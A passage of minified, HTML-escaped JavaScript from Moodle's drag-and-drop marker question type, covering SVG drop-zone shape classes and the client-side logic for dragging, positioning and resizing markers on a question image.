this.updateSvg(svgEl),svgEl},Circle.prototype.updateSvg=function(svgEl){svgEl.childNodes[0].setAttribute(&quot;cx&quot;,this.centre.x),svgEl.childNodes[0].setAttribute(&quot;cy&quot;,this.centre.y),svgEl.childNodes[0].setAttribute(&quot;r&quot;,Math.abs(this.radius)),svgEl.childNodes[1].setAttribute(&quot;x&quot;,this.centre.x),svgEl.childNodes[1].setAttribute(&quot;y&quot;,this.centre.y+15),svgEl.childNodes[1].textContent=this.label},Circle.prototype.parse=function(coordinates,ratio){if(!coordinates.match(/^\d+(\.\d+)?,\d+(\.\d+)?;\d+(\.\d+)?$/))return!1;var bits=coordinates.split(&quot;;&quot;);return this.centre=Point.parse(bits[0]),this.centre.x=this.centre.x*parseFloat(ratio),this.centre.y=this.centre.y*parseFloat(ratio),this.radius=Math.round(bits[1])*parseFloat(ratio),!0},Circle.prototype.move=function(dx,dy,maxX,maxY){this.centre.move(dx,dy),this.centre.x&lt;this.radius&amp;&amp;(this.centre.x=this.radius),this.centre.x&gt;maxX-this.radius&amp;&amp;(this.centre.x=maxX-this.radius),this.centre.y&lt;this.radius&amp;&amp;(this.centre.y=this.radius),this.centre.y&gt;maxY-this.radius&amp;&amp;(this.centre.y=maxY-this.radius)},Circle.prototype.edit=function(handleIndex,dx,dy,maxX,maxY){this.radius+=dx;var limit=Math.min(this.centre.x,this.centre.y,maxX-this.centre.x,maxY-this.centre.y);this.radius&gt;limit&amp;&amp;(this.radius=limit),this.radius&lt;-limit&amp;&amp;(this.radius=-limit)},Circle.prototype.normalizeShape=function(){this.radius=Math.abs(this.radius)},Circle.prototype.makeSimilarRectangle=function(){return new Rectangle(this.label,this.centre.x-this.radius,this.centre.y-this.radius,2*this.radius,2*this.radius)},Circle.prototype.makeSimilarPolygon=function(){return new Polygon(this.label,[this.centre.offset(-this.radius,-this.radius),this.centre.offset(-this.radius,this.radius),this.centre.offset(this.radius,this.radius),this.centre.offset(this.radius,-this.radius)])},Circle.prototype.getHandlePositions=function(){return{moveHandle:this.centre,editHandles:[this.centre.offset(this.radius,0)]}},Rectangle.prototype=new Shape,Rectangle.prototype.getType=function(){return&quot;rectangle&quot;},Rectangle.prototype.getCoordinates=function(){return this.centre+&quot;;&quot;+this.width+&quot;,&quot;+this.height},Rectangle.prototype.makeSvg=function(svg){var svgEl=createSvgShapeGroup(svg,&quot;rect&quot;);return this.updateSvg(svgEl),svgEl},Rectangle.prototype.updateSvg=function(svgEl){this.width&gt;=0?(svgEl.childNodes[0].setAttribute(&quot;x&quot;,this.centre.x),svgEl.childNodes[0].setAttribute(&quot;width&quot;,this.width)):(svgEl.childNodes[0].setAttribute(&quot;x&quot;,this.centre.x+this.width),svgEl.childNodes[0].setAttribute(&quot;width&quot;,-this.width)),this.height&gt;=0?(svgEl.childNodes[0].setAttribute(&quot;y&quot;,this.centre.y),svgEl.childNodes[0].setAttribute(&quot;height&quot;,this.height)):(svgEl.childNodes[0].setAttribute(&quot;y&quot;,this.centre.y+this.height),svgEl.childNodes[0].setAttribute(&quot;height&quot;,-this.height)),svgEl.childNodes[1].setAttribute(&quot;x&quot;,this.centre.x+this.width/2),svgEl.childNodes[1].setAttribute(&quot;y&quot;,this.centre.y+this.height/2+15),svgEl.childNodes[1].textContent=this.label},Rectangle.prototype.parse=function(coordinates,ratio){if(!coordinates.match(/^\d+(\.\d+)?,\d+(\.\d+)?;\d+(\.\d+)?,\d+(\.\d+)?$/))return!1;var bits=coordinates.split(&quot;;&quot;);this.centre=Point.parse(bits[0]),this.centre.x=this.centre.x*parseFloat(ratio),this.centre.y=this.centre.y*parseFloat(ratio);var size=Point.parse(bits[1]);return this.width=size.x*parseFloat(ratio),this.height=size.y*parseFloat(ratio),!0},Rectangle.prototype.move=function(dx,dy,maxX,maxY){this.centre.move(dx,dy),this.centre.x&lt;0&amp;&amp;(this.centre.x=0),this.centre.x&gt;maxX-this.width&amp;&amp;(this.centre.x=maxX-this.width),this.centre.y&lt;0&amp;&amp;(this.centre.y=0),this.centre.y&gt;maxY-this.height&amp;&amp;(this.centre.y=maxY-this.height)},Rectangle.prototype.edit=function(handleIndex,dx,dy,maxX,maxY){this.width+=dx,this.height+=dy,this.width&lt;-this.centre.x&amp;&amp;(this.width=-this.centre.x),this.width&gt;maxX-this.centre.x&amp;&amp;(this.width=maxX-this.centre.x),this.height&lt;-this.centre.y&amp;&amp;(this.height=-this.centre.y),this.height&gt;maxY-this.centre.y&amp;&amp;(this.height=maxY-this.centre.y)},Rectangle.prototype.normalizeShape=function(){this.width&lt;0&amp;&amp;(this.centre.x+=this.width,this.width=-this.width),this.height&lt;0&amp;&amp;(this.centre.y+=this.height,this.height=-this.height)},Rectangle.prototype.makeSimilarCircle=function(){return new Circle(this.label,Math.round(this.centre.x+this.width/2),Math.round(this.centre.y+this.height/2),Math.round((this.width+this.height)/4))},Rectangle.prototype.makeSimilarPolygon=function(){return new Polygon(this.label,[this.centre,this.centre.offset(0,this.height),this.centre.offset(this.width,this.height),this.centre.offset(this.width,0)])},Rectangle.prototype.getHandlePositions=function(){return{moveHandle:this.centre.offset(this.width/2,this.height/2),editHandles:[this.centre.offset(this.width,this.height)]}},Polygon.prototype=new Shape,Polygon.prototype.getType=function(){return&quot;polygon&quot;},Polygon.prototype.getCoordinates=function(){for(var coordinates=&quot;&quot;,i=0;i&lt;this.points.length;i++)coordinates+=this.centre.offset(this.points[i])+&quot;;&quot;;return coordinates.slice(0,coordinates.length-1)},Polygon.prototype.makeSvg=function(svg){var svgEl=createSvgShapeGroup(svg,&quot;polygon&quot;);return this.updateSvg(svgEl),svgEl},Polygon.prototype.updateSvg=function(svgEl){svgEl.childNodes[0].setAttribute(&quot;points&quot;,this.getCoordinates().replace(/[,;]/g,&quot; &quot;)),svgEl.childNodes[0].setAttribute(&quot;transform&quot;,&quot;scale(&quot;+parseFloat(this.ratio)+&quot;)&quot;),svgEl.childNodes[1].setAttribute(&quot;x&quot;,this.centre.x),svgEl.childNodes[1].setAttribute(&quot;y&quot;,this.centre.y+15),svgEl.childNodes[1].textContent=this.label},Polygon.prototype.parse=function(coordinates,ratio){if(!coordinates.match(/^\d+(\.\d+)?,\d+(\.\d+)?(?:;\d+(\.\d+)?,\d+(\.\d+)?)*$/))return!1;for(var bits=coordinates.split(&quot;;&quot;),points=[],i=0;i&lt;bits.length;i++)points.push(Point.parse(bits[i]));return this.points=points,this.centre.x=0,this.centre.y=0,this.ratio=ratio,this.normalizeShape(),!0},Polygon.prototype.move=function(dx,dy,maxX,maxY){this.centre.move(dx,dy);for(var bbXMin=maxX,bbXMax=0,bbYMin=maxY,bbYMax=0,i=0;i&lt;this.points.length;i++)bbXMin=Math.min(bbXMin,this.points[i].x),bbXMax=Math.max(bbXMax,this.points[i].x),bbYMin=Math.min(bbYMin,this.points[i].y),bbYMax=Math.max(bbYMax,this.points[i].y);this.centre.x&lt;-bbXMin&amp;&amp;(this.centre.x=-bbXMin),this.centre.x&gt;maxX-bbXMax&amp;&amp;(this.centre.x=maxX-bbXMax),this.centre.y&lt;-bbYMin&amp;&amp;(this.centre.y=-bbYMin),this.centre.y&gt;maxY-bbYMax&amp;&amp;(this.centre.y=maxY-bbYMax)},Polygon.prototype.edit=function(handleIndex,dx,dy,maxX,maxY){this.points[handleIndex].move(dx,dy),this.points[handleIndex].x&lt;-this.centre.x&amp;&amp;(this.points[handleIndex].x=-this.centre.x),this.points[handleIndex].x&gt;maxX-this.centre.x&amp;&amp;(this.points[handleIndex].x=maxX-this.centre.x),this.points[handleIndex].y&lt;-this.centre.y&amp;&amp;(this.points[handleIndex].y=-this.centre.y),this.points[handleIndex].y&gt;maxY-this.centre.y&amp;&amp;(this.points[handleIndex].y=maxY-this.centre.y)},Polygon.prototype.addNewPointAfter=function(pointIndex){this.points.splice(pointIndex,0,new Point(this.points[pointIndex].x,this.points[pointIndex].y))},Polygon.prototype.normalizeShape=function(){var i,x=0,y=0;if(0!==this.points.length){for(i=0;i&lt;this.points.length;i++)x+=this.points[i].x,y+=this.points[i].y;if(x=Math.round(x/this.points.length),y=Math.round(y/this.points.length),0!==x||0!==y){for(i=0;i&lt;this.points.length;i++)this.points[i].move(-x,-y);this.centre.move(x,y)}}},Polygon.prototype.makeSimilarCircle=function(){return this.makeSimilarRectangle().makeSimilarCircle()},Polygon.prototype.makeSimilarRectangle=function(){for(var p,minX=0,maxX=0,minY=0,maxY=0,i=0;i&lt;this.points.length;i++)p=this.points[i],minX=Math.min(minX,p.x),maxX=Math.max(maxX,p.x),minY=Math.min(minY,p.y),maxY=Math.max(maxY,p.y);return new Rectangle(this.label,this.centre.x+minX,this.centre.y+minY,Math.max(maxX-minX,10),Math.max(maxY-minY,10))},Polygon.prototype.getHandlePositions=function(){for(var editHandles=[],i=0;i&lt;this.points.length;i++)editHandles.push(this.points[i].offset(this.centre.x,this.centre.y));return this.centre.x=this.centre.x*parseFloat(this.ratio),this.centre.y=this.centre.y*parseFloat(this.ratio),{moveHandle:this.centre,editHandles:editHandles}},NullShape.prototype=new Shape,NullShape.prototype.getType=function(){return&quot;null&quot;},NullShape.prototype.getCoordinates=function(){return&quot;&quot;},NullShape.prototype.makeSvg=function(svg){return null},NullShape.prototype.updateSvg=function(svgEl){},NullShape.prototype.parse=function(coordinates){return!1},NullShape.prototype.makeSimilarCircle=function(){return new Circle(this.label)},NullShape.prototype.makeSimilarRectangle=function(){return new Rectangle(this.label)},NullShape.prototype.makeSimilarPolygon=function(){return new Polygon(this.label)},{Point:Point,Shape:Shape,Circle:Circle,Rectangle:Rectangle,Polygon:Polygon,NullShape:NullShape,createSvgElement:createSvgElement,make:function(shapeType,label){switch(shapeType){case&quot;circle&quot;:return new Circle(label);case&quot;rectangle&quot;:return new Rectangle(label);case&quot;polygon&quot;:return new Polygon(label);default:return new NullShape(label)}},getSimilar:function(shapeType,shape){if(shapeType===shape.getType())return shape;switch(shapeType){case&quot;circle&quot;:return shape.makeSimilarCircle();case&quot;rectangle&quot;:return shape.makeSimilarRectangle();case&quot;polygon&quot;:return shape.makeSimilarPolygon();default:return new NullShape(shape.label)}}}}));
/**
 * Question class for drag and drop marker question type, used to support the question and preview pages.
 *
 * @module     qtype_ddmarker/question
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qtype_ddmarker/question&quot;,[&quot;jquery&quot;,&quot;core/dragdrop&quot;,&quot;qtype_ddmarker/shapes&quot;,&quot;core/key_codes&quot;,&quot;core_form/changechecker&quot;],(function($,dragDrop,Shapes,keys,FormChangeChecker){function DragDropMarkersQuestion(containerId,readOnly,visibleDropZones){this.containerId=containerId,this.visibleDropZones=visibleDropZones,this.shapes=[],this.shapeSVGs=[],this.isPrinting=!1,this.questionAnswer={},readOnly&amp;&amp;this.getRoot().addClass(&quot;qtype_ddmarker-readonly&quot;),this.cloneDrags(),this.repositionDrags(),this.drawDropzones()}DragDropMarkersQuestion.prototype.drawDropzones=function(){if(this.visibleDropZones.length&gt;0){var bgImage=this.bgImage();this.getRoot().find(&quot;div.dropzones&quot;).html(&#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;dropzones&quot; width=&quot;&#039;+bgImage.outerWidth()+&#039;&quot; height=&quot;&#039;+bgImage.outerHeight()+&#039;&quot;&gt;&lt;/svg&gt;&#039;);for(var svg=this.getRoot().find(&quot;svg.dropzones&quot;),nextColourIndex=0,dropZoneNo=0;dropZoneNo&lt;this.visibleDropZones.length;dropZoneNo++){var colourClass=&quot;color&quot;+nextColourIndex;nextColourIndex=(nextColourIndex+1)%8,this.addDropzone(svg,dropZoneNo,colourClass)}}},DragDropMarkersQuestion.prototype.addDropzone=function(svg,dropZoneNo,colourClass){var existingmarkertext,dropZone=this.visibleDropZones[dropZoneNo],shape=Shapes.make(dropZone.shape,&quot;&quot;),bgRatio=this.bgRatio();if(shape.parse(dropZone.coords,bgRatio)){if((existingmarkertext=this.getRoot().find(&quot;div.markertexts span.markertext&quot;+dropZoneNo)).length)&quot;&quot;!==dropZone.markertext?existingmarkertext.html(dropZone.markertext):existingmarkertext.remove();else if(&quot;&quot;!==dropZone.markertext){var classnames=&quot;markertext markertext&quot;+dropZoneNo;this.getRoot().find(&quot;div.markertexts&quot;).append(&#039;&lt;span class=&quot;&#039;+classnames+&#039;&quot;&gt;&#039;+dropZone.markertext+&quot;&lt;/span&gt;&quot;);var markerspan=this.getRoot().find(&quot;div.ddarea div.markertexts span.markertext&quot;+dropZoneNo);if(markerspan.length){var handles=shape.getHandlePositions(),positionLeft=handles.moveHandle.x-markerspan.outerWidth()/2-4,positionTop=handles.moveHandle.y-markerspan.outerHeight()/2;markerspan.css(&quot;left&quot;,positionLeft).css(&quot;top&quot;,positionTop),markerspan.data(&quot;originX&quot;,markerspan.position().left/bgRatio).data(&quot;originY&quot;,markerspan.position().top/bgRatio),this.handleElementScale(markerspan,&quot;center&quot;)}}var shapeSVG=shape.makeSvg(svg[0]);shapeSVG.setAttribute(&quot;class&quot;,&quot;dropzone &quot;+colourClass),this.shapes[this.shapes.length]=shape,this.shapeSVGs[this.shapeSVGs.length]=shapeSVG}},DragDropMarkersQuestion.prototype.repositionDrags=function(){var root=this.getRoot(),thisQ=this;root.find(&quot;div.draghomes .marker&quot;).not(&quot;.dragplaceholder&quot;).each((function(key,item){$(item).addClass(&quot;unneeded&quot;)})),root.find(&quot;input.choices&quot;).each((function(key,input){var choiceNo=thisQ.getChoiceNoFromElement(input),coords=thisQ.getCoords(input);if(coords.length){var drag=thisQ.getRoot().find(&quot;.draghomes span.marker.choice&quot;+choiceNo).not(&quot;.dragplaceholder&quot;);drag.remove();for(var i=0;i&lt;coords.length;i++){var dragInDrop=drag.clone();dragInDrop.data(&quot;pagex&quot;,coords[i].x).data(&quot;pagey&quot;,coords[i].y),dragInDrop.data(&quot;scaleRatio&quot;,1),thisQ.sendDragToDrop(dragInDrop,!1,!0)}thisQ.getDragClone(drag).addClass(&quot;active&quot;),thisQ.cloneDragIfNeeded(drag)}})),thisQ.questionAnswer=thisQ.getQuestionAnsweredValues()},DragDropMarkersQuestion.prototype.getQuestionAnsweredValues=function(){let result={};return this.getRoot().find(&quot;input.choices&quot;).each(((i,inputNode)=&gt;{result[inputNode.id]=inputNode.value})),result},DragDropMarkersQuestion.prototype.isQuestionInteracted=function(){const oldAnswer=this.questionAnswer,newAnswer=this.getQuestionAnsweredValues();let isInteracted=!1;return JSON.stringify(newAnswer)!==JSON.stringify(oldAnswer)?(isInteracted=!0,isInteracted):(Object.keys(newAnswer).forEach((key=&gt;{newAnswer[key]!==oldAnswer[key]&amp;&amp;(isInteracted=!0)})),isInteracted)},DragDropMarkersQuestion.prototype.getCoords=function(inputNode){var coords=[],val=$(inputNode).val();if(&quot;&quot;!==val)for(var coordsStrings=val.split(&quot;;&quot;),i=0;i&lt;coordsStrings.length;i++)coords[i]=this.convertToWindowXY(Shapes.Point.parse(coordsStrings[i]));return coords},DragDropMarkersQuestion.prototype.convertToWindowXY=function(point){var bgImage=this.bgImage();return point.offset(bgImage.offset().left+1,bgImage.offset().top+1)},DragDropMarkersQuestion.prototype.convertToBgImgXY=function(point){var bgImage=this.bgImage();return point.offset(-bgImage.offset().left-1,-bgImage.offset().top-1)},DragDropMarkersQuestion.prototype.coordsInBgImg=function(point){var bgImage=this.bgImage(),bgPosition=bgImage.offset();return point.x&gt;=bgPosition.left&amp;&amp;point.x&lt;bgPosition.left+bgImage.width()&amp;&amp;point.y&gt;=bgPosition.top&amp;&amp;point.y&lt;bgPosition.top+bgImage.height()},DragDropMarkersQuestion.prototype.getRoot=function(){return $(document.getElementById(this.containerId))},DragDropMarkersQuestion.prototype.bgImage=function(){return this.getRoot().find(&quot;img.dropbackground&quot;)},DragDropMarkersQuestion.prototype.handleDragStart=function(e){var thisQ=this,dragged=$(e.target).closest(&quot;.marker&quot;);if(dragDrop.prepare(e).start){if(dragged.addClass(&quot;beingdragged&quot;).css(&quot;transform&quot;,&quot;&quot;),!!dragged.hasClass(&quot;unneeded&quot;)){var hiddenDrag=thisQ.getDragClone(dragged);hiddenDrag.length&amp;&amp;(hiddenDrag.addClass(&quot;active&quot;),dragged.offset(hiddenDrag.offset()))}dragDrop.start(e,dragged,(function(){}),(function(x,y,dragged){thisQ.dragEnd(dragged)}))}},DragDropMarkersQuestion.prototype.dragEnd=function(dragged){var dragXY,placed=!1,choiceNo=this.getChoiceNoFromElement(dragged),bgRatio=this.bgRatio();if(dragged.data(&quot;pagex&quot;,dragged.offset().left).data(&quot;pagey&quot;,dragged.offset().top),dragXY=new Shapes.Point(dragged.data(&quot;pagex&quot;),dragged.data(&quot;pagey&quot;)),this.coordsInBgImg(dragXY)){this.sendDragToDrop(dragged,!0),placed=!0;var bgImgXY=this.convertToBgImgXY(dragXY);bgImgXY=new Shapes.Point(bgImgXY.x/bgRatio,bgImgXY.y/bgRatio),dragged.data(&quot;originX&quot;,bgImgXY.x).data(&quot;originY&quot;,bgImgXY.y)}placed?this.cloneDragIfNeeded(dragged):(this.sendDragHome(dragged),this.removeDragIfNeeded(dragged)),this.saveCoordsForChoice(choiceNo)},DragDropMarkersQuestion.prototype.saveCoordsForChoice=function(choiceNo){var coords=[],items=this.getRoot().find(&quot;div.droparea span.marker.choice&quot;+choiceNo),thiQ=this,bgRatio=this.bgRatio();items.length&amp;&amp;items.each((function(){var drag=$(this);if(!drag.hasClass(&quot;beingdragged&quot;)){drag.data(&quot;scaleRatio&quot;)!==bgRatio&amp;&amp;drag.data(&quot;pagex&quot;,drag.offset().left).data(&quot;pagey&quot;,drag.offset().top);var dragXY=new Shapes.Point(drag.data(&quot;pagex&quot;),drag.data(&quot;pagey&quot;));if(thiQ.coordsInBgImg(dragXY)){var bgImgXY=thiQ.convertToBgImgXY(dragXY);bgImgXY=new Shapes.Point(bgImgXY.x/bgRatio,bgImgXY.y/bgRatio),coords[coords.length]=bgImgXY}}})),this.getRoot().find(&quot;input.choice&quot;+choiceNo).val(coords.join(&quot;;&quot;)),this.isQuestionInteracted()&amp;&amp;(questionManager.handleFormDirty(),this.questionAnswer=this.getQuestionAnsweredValues())},DragDropMarkersQuestion.prototype.handleKeyPress=function(e){var drag=$(e.target).closest(&quot;.marker&quot;),point=new Shapes.Point(drag.offset().left,drag.offset().top),choiceNo=this.getChoiceNoFromElement(drag);switch(e.keyCode){case keys.arrowLeft:case 65:point.x-=1;break;case keys.arrowRight:case 68:point.x+=1;break;case keys.arrowDown:case 83:point.y+=1;break;case keys.arrowUp:case 87:point.y-=1;break;case keys.space:case keys.escape:point=null;break;default:return}if(e.preventDefault(),null!==point){point=this.constrainToBgImg(point),drag.offset({left:point.x,top:point.y}),drag.data(&quot;pagex&quot;,drag.offset().left).data(&quot;pagey&quot;,drag.offset().top);var dragXY=this.convertToBgImgXY(new Shapes.Point(drag.data(&quot;pagex&quot;),drag.data(&quot;pagey&quot;)));if(drag.data(&quot;originX&quot;,dragXY.x/this.bgRatio()).data(&quot;originY&quot;,dragXY.y/this.bgRatio()),this.coordsInBgImg(new Shapes.Point(drag.offset().left,drag.offset().top))&amp;&amp;drag.hasClass(&quot;unneeded&quot;)){this.sendDragToDrop(drag,!0);var hiddenDrag=this.getDragClone(drag);hiddenDrag.length&amp;&amp;hiddenDrag.addClass(&quot;active&quot;),this.cloneDragIfNeeded(drag)}}else drag.css(&quot;left&quot;,&quot;&quot;).css(&quot;top&quot;,&quot;&quot;),drag.data(&quot;pagex&quot;,drag.offset().left).data(&quot;pagey&quot;,drag.offset().top),this.sendDragHome(drag),this.removeDragIfNeeded(drag);drag.focus(),this.saveCoordsForChoice(choiceNo)},DragDropMarkersQuestion.prototype.constrainToBgImg=function(windowxy){var bgImg=this.bgImage(),bgImgXY=this.convertToBgImgXY(windowxy);return bgImgXY.x=Math.max(0,bgImgXY.x),bgImgXY.y=Math.max(0,bgImgXY.y),bgImgXY.x=Math.min(bgImg.width(),bgImgXY.x),bgImgXY.y=Math.min(bgImg.height(),bgImgXY.y),this.convertToWindowXY(bgImgXY)},DragDropMarkersQuestion.prototype.getChoiceNoFromElement=function(node){return Number(this.getClassnameNumericSuffix(node,&quot;choice&quot;))},DragDropMarkersQuestion.prototype.getClassnameNumericSuffix=function(node,prefix){var classes=$(node).attr(&quot;class&quot;);if(void 0!==classes&amp;&amp;&quot;&quot;!==classes)for(var classesarr=classes.split(&quot; &quot;),index=0;index&lt;classesarr.length;index++){if(new RegExp(&quot;^&quot;+prefix+&quot;([0-9])+$&quot;).test(classesarr[index])){var match=new RegExp(&quot;([0-9])+$&quot;).exec(classesarr[index]);return Number(match[0])}}return null},DragDropMarkersQuestion.prototype.handleResize=function(){var thisQ=this,bgRatio=this.bgRatio();this.isPrinting&amp;&amp;(bgRatio=1),this.getRoot().find(&quot;div.droparea .marker&quot;).not(&quot;.beingdragged&quot;).each((function(key,drag){$(drag).css(&quot;left&quot;,parseFloat($(drag).data(&quot;originX&quot;))*parseFloat(bgRatio)).css(&quot;top&quot;,parseFloat($(drag).data(&quot;originY&quot;))*parseFloat(bgRatio)),thisQ.handleElementScale(drag,&quot;left top&quot;)})),this.getRoot().find(&quot;div.droparea svg.dropzones&quot;).width(this.bgImage().width()).height(this.bgImage().height());for(var dropZoneNo=0;dropZoneNo&lt;this.visibleDropZones.length;dropZoneNo++){var originCoords=thisQ.visibleDropZones[dropZoneNo].coords,shape=thisQ.shapes[dropZoneNo],shapeSVG=thisQ.shapeSVGs[dropZoneNo];shape.parse(originCoords,bgRatio),shape.updateSvg(shapeSVG);var handles=shape.getHandlePositions(),markerSpan=this.getRoot().find(&quot;div.ddarea div.markertexts span.markertext&quot;+dropZoneNo);markerSpan.css(&quot;left&quot;,handles.moveHandle.x-markerSpan.outerWidth()/2-4).css(&quot;top&quot;,handles.moveHandle.y-markerSpan.outerHeight()/2),thisQ.handleElementScale(markerSpan,&quot;center&quot;)}},DragDropMarkersQuestion.prototype.cloneDrags=function(){var thisQ=this;this.getRoot().find(&quot;div.draghomes span.marker&quot;).each((function(index,draghome){var drag=$(draghome),placeHolder=drag.clone();placeHolder.removeClass(),placeHolder.addClass(&quot;marker&quot;),placeHolder.addClass(&quot;choice&quot;+thisQ.getChoiceNoFromElement(drag)),placeHolder.addClass(thisQ.getDragNoClass(drag,!1)),placeHolder.addClass(&quot;dragplaceholder&quot;),drag.before(placeHolder)}))},DragDropMarkersQuestion.prototype.getDragNo=function(drag){return this.getClassnameNumericSuffix(drag,&quot;dragno&quot;)},DragDropMarkersQuestion.prototype.getDragNoClass=function(drag,includeSelector){var className=&quot;dragno&quot;+this.getDragNo(drag);return this.isInfiniteDrag(drag)&amp;&amp;(className=&quot;infinite&quot;),includeSelector?&quot;.&quot;+className:className},DragDropMarkersQuestion.prototype.getDragClone=function(drag){return this.getRoot().find(&quot;.draghomes span.marker.choice&quot;+this.getChoiceNoFromElement(drag)+this.getDragNoClass(drag,!0)+&quot;.dragplaceholder&quot;)},DragDropMarkersQuestion.prototype.dropArea=function(){return this.getRoot().find(&quot;div.droparea&quot;)},DragDropMarkersQuestion.prototype.sendDragHome=function(drag){drag.removeClass(&quot;beingdragged&quot;).addClass(&quot;unneeded&quot;).css(&quot;top&quot;,&quot;&quot;).css(&quot;left&quot;,&quot;&quot;).css(&quot;transform&quot;,&quot;&quot;);var placeHolder=this.getDragClone(drag);placeHolder.after(drag),placeHolder.removeClass(&quot;active&quot;)},DragDropMarkersQuestion.prototype.sendDragToDrop=function(drag,isScaling){let initialLoad=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];var dropArea=this.dropArea(),bgRatio=this.bgRatio();drag.removeClass(&quot;beingdragged&quot;).removeClass(&quot;unneeded&quot;);var dragXY=this.convertToBgImgXY(new Shapes.Point(drag.data(&quot;pagex&quot;),drag.data(&quot;pagey&quot;)));isScaling?(drag.data(&quot;originX&quot;,dragXY.x/bgRatio).data(&quot;originY&quot;,dragXY.y/bgRatio),drag.css(&quot;left&quot;,dragXY.x).css(&quot;top&quot;,dragXY.y)):(drag.data(&quot;originX&quot;,dragXY.x).data(&quot;originY&quot;,dragXY.y),drag.css(&quot;left&quot;,dragXY.x*bgRatio).css(&quot;top&quot;,dragXY.y*bgRatio)),initialLoad||drag.data(&quot;scaleRatio&quot;,bgRatio),dropArea.append(drag),this.handleElementScale(drag,&quot;left top&quot;)},DragDropMarkersQuestion.prototype.cloneDragIfNeeded=function(drag){var inputNode=this.getInput(drag),noOfDrags=Number(this.getClassnameNumericSuffix(inputNode,&quot;noofdrags&quot;)),displayedDragsInDropArea=this.getRoot().find(&quot;div.droparea .marker.choice&quot;+this.getChoiceNoFromElement(drag)+this.getDragNoClass(drag,!0)).length,displayedDragsInDragHomes=this.getRoot().find(&quot;div.draghomes .marker.choice&quot;+this.getChoiceNoFromElement(drag)+this.getDragNoClass(drag,!0)).not(&quot;.dragplaceholder&quot;).length;if((this.isInfiniteDrag(drag)||!this.isInfiniteDrag(drag)&amp;&amp;displayedDragsInDropArea&lt;noOfDrags)&amp;&amp;0===displayedDragsInDragHomes){var dragClone=drag.clone();dragClone.addClass(&quot;unneeded&quot;).css(&quot;top&quot;,&quot;&quot;).css(&quot;left&quot;,&quot;&quot;).css(&quot;transform&quot;,&quot;&quot;),this.getDragClone(drag).removeClass(&quot;active&quot;).after(dragClone),questionManager.addEventHandlersToMarker(dragClone)}},DragDropMarkersQuestion.prototype.removeDragIfNeeded=function(drag){for(var dragsInHome=this.getRoot().find(&quot;div.draghomes .marker.choice&quot;+this.getChoiceNoFromElement(drag)+this.getDragNoClass(drag,!0)).not(&quot;.dragplaceholder&quot;),displayedDrags=dragsInHome.length;displayedDrags&gt;1;)dragsInHome.first().remove(),displayedDrags--},DragDropMarkersQuestion.prototype.getInput=function(drag){var choiceNo=this.getChoiceNoFromElement(drag);return this.getRoot().find(&quot;input.choices.choice&quot;+choiceNo)},DragDropMarkersQuestion.prototype.bgRatio=function(){var bgImg=this.bgImage(),bgImgNaturalWidth=bgImg.get(0).naturalWidth;return bgImg.width()/bgImgNaturalWidth},DragDropMarkersQuestion.prototype.handleElementScale=function(element,type){var bgRatio=parseFloat(this.bgRatio());this.isPrinting&amp;&amp;(bgRatio=1),$(element).css({&quot;-webkit-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-moz-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-ms-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-o-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,transform:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;transform-origin&quot;:type})},DragDropMarkersQuestion.prototype.isInfiniteDrag=function(drag){return drag.hasClass(&quot;infinite&quot;)};var questionManager={eventHandlersInitialised:!1,markerEventHandlersInitialised:{},isPrinting:!1,isKeyboardNavigation:!1,questions:{},init:function(containerId,readOnly,visibleDropZones){if(questionManager.questions[containerId]=new DragDropMarkersQuestion(containerId,readOnly,visibleDropZones),questionManager.eventHandlersInitialised||(questionManager.setupEventHandlers(),questionManager.eventHandlersInitialised=!0),!questionManager.markerEventHandlersInitialised.hasOwnProperty(containerId)){questionManager.markerEventHandlersInitialised[containerId]=!0;var questionContainer=document.getElementById(containerId);questionContainer.classList.contains(&quot;ddmarker&quot;)&amp;&amp;!questionContainer.classList.contains(&quot;qtype_ddmarker-readonly&quot;)&amp;&amp;(questionManager.addEventHandlersToMarker($(questionContainer).find(&quot;div.draghomes .marker&quot;)),questionManager.addEventHandlersToMarker($(questionContainer).find(&quot;div.droparea .marker&quot;)))}},setupEventHandlers:function(){$(window).on(&quot;resize&quot;,(function(){questionManager.handleWindowResize(!1)})),window.addEventListener(&quot;beforeprint&quot;,(function(){questionManager.isPrinting=!0,questionManager.handleWindowResize(questionManager.isPrinting)})),window.addEventListener(&quot;afterprint&quot;,(function(){questionManager.isPrinting=!1,questionManager.handleWindowResize(questionManager.isPrinting)})),setTimeout((function(){questionManager.fixLayoutIfThingsMoved()}),100)},addEventHandlersToMarker:function(element){element.on(&quot;mousedown touchstart&quot;,questionManager.handleDragStart).on(&quot;keydown keypress&quot;,questionManager.handleKeyPress).focusin((function(e){questionManager.handleKeyboardFocus(e,!0)})).focusout((function(e){questionManager.handleKeyboardFocus(e,!1)}))},handleDragStart:function(e){e.preventDefault();var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleDragStart(e)},handleKeyPress:function(e){var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleKeyPress(e)},handleWindowResize:function(isPrinting){for(var containerId in questionManager.questions)questionManager.questions.hasOwnProperty(containerId)&amp;&amp;(questionManager.questions[containerId].isPrinting=isPrinting,questionManager.questions[containerId].handleResize())},handleKeyboardFocus:function(e,isNavigating){questionManager.isKeyboardNavigation=isNavigating},fixLayoutIfThingsMoved:function(){questionManager.isKeyboardNavigation||this.handleWindowResize(questionManager.isPrinting),setTimeout((function(){questionManager.fixLayoutIfThingsMoved(questionManager.isPrinting)}),100)},getQuestionForEvent:function(e){var containerId=$(e.currentTarget).closest(&quot;.que.ddmarker&quot;).attr(&quot;id&quot;);return questionManager.questions[containerId]},handleFormDirty:function(){const responseForm=document.getElementById(&quot;responseform&quot;);FormChangeChecker.markFormAsDirty(responseForm)}};return{init:questionManager.init}}));
/**
 * This class provides the enhancements to the drag-drop marker editing form.
 *
 * @module     qtype_ddmarker/form
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
